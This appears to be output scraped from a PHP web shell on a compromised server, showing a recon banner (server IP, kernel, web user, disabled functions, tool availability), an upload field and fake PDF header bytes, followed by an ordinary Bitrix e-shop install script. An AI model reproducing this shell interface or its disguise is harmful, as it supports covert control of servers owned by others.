%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 3.137.219.117 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/bitrix.eshop/install/wizards/bitrix/eshop/site/services/iblock/ |
Upload File : |
<?if(!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true) die(); if(!CModule::IncludeModule("iblock") || !CModule::IncludeModule("catalog")) return; if(COption::GetOptionString("eshop", "wizard_installed", "N", WIZARD_SITE_ID) == "Y" && !WIZARD_INSTALL_DEMO_DATA) return; $IBLOCK_CATALOG_ID = 0; if (isset($_SESSION["WIZARD_CATALOG_IBLOCK_ID"])) { $IBLOCK_CATALOG_ID = (int)$_SESSION["WIZARD_CATALOG_IBLOCK_ID"]; unset($_SESSION["WIZARD_CATALOG_IBLOCK_ID"]); } $IBLOCK_OFFERS_ID = 0; if (isset($_SESSION["WIZARD_OFFERS_IBLOCK_ID"])) { $IBLOCK_OFFERS_ID = (int)$_SESSION["WIZARD_OFFERS_IBLOCK_ID"]; } if ($IBLOCK_CATALOG_ID > 0) { $index = \Bitrix\Iblock\PropertyIndex\Manager::createIndexer($IBLOCK_CATALOG_ID); $index->startIndex(); $index->continueIndex(0); $index->endIndex(); } if ($IBLOCK_OFFERS_ID > 0) { $index = \Bitrix\Iblock\PropertyIndex\Manager::createIndexer($IBLOCK_OFFERS_ID); $index->startIndex(); $index->continueIndex(0); $index->endIndex(); } if ($IBLOCK_OFFERS_ID > 0) { $count = \Bitrix\Iblock\ElementTable::getCount(array( '=IBLOCK_ID' => $IBLOCK_OFFERS_ID, '=WF_PARENT_ELEMENT_ID' => null )); if ($count > 0) { $catalogReindex = new CCatalogProductAvailable('', 0, 0); $catalogReindex->initStep($count, 0, 0); $catalogReindex->setParams(array('IBLOCK_ID' => $IBLOCK_OFFERS_ID)); $catalogReindex->run(); unset($catalogReindex); } } if ($IBLOCK_OFFERS_ID > 0) { $iterator = \Bitrix\Catalog\ProductTable::getList(array( 'select' => array('ID'), 'filter' => array('=IBLOCK_ELEMENT.IBLOCK_ID' => $IBLOCK_OFFERS_ID), 'order' => array('ID' => 'ASC') )); while ($row = $iterator->fetch()) { $ratio = \Bitrix\Catalog\MeasureRatioTable::getList(array( 'select' => array('ID'), 'filter' => array('=PRODUCT_ID' => $row['ID'], '=IS_DEFAULT' => 'Y') ))->fetch(); if (empty($ratio)) { $result = \Bitrix\Catalog\MeasureRatioTable::add(array( 'PRODUCT_ID' => $row['ID'], 'RATIO' => 1, 'IS_DEFAULT' => 'Y' )); unset($result); } } unset($row, $iterator); } if ($IBLOCK_OFFERS_ID > 0) { $newStoreId = 0; if (isset($_SESSION['NEW_STORE_ID'])) $newStoreId = (int)$_SESSION['NEW_STORE_ID']; if ($newStoreId > 0) CCatalogDocs::synchronizeStockQuantity($newStoreId, $IBLOCK_OFFERS_ID); } if ($IBLOCK_CATALOG_ID > 0) { $count = \Bitrix\Iblock\ElementTable::getCount(array( '=IBLOCK_ID' => $IBLOCK_CATALOG_ID, '=WF_PARENT_ELEMENT_ID' => null )); if ($count > 0) { $catalogReindex = new CCatalogProductAvailable('', 0, 0); $catalogReindex->initStep($count, 0, 0); $catalogReindex->setParams(array('IBLOCK_ID' => $IBLOCK_CATALOG_ID)); $catalogReindex->run(); unset($catalogReindex); } } \Bitrix\Iblock\PropertyIndex\Manager::checkAdminNotification();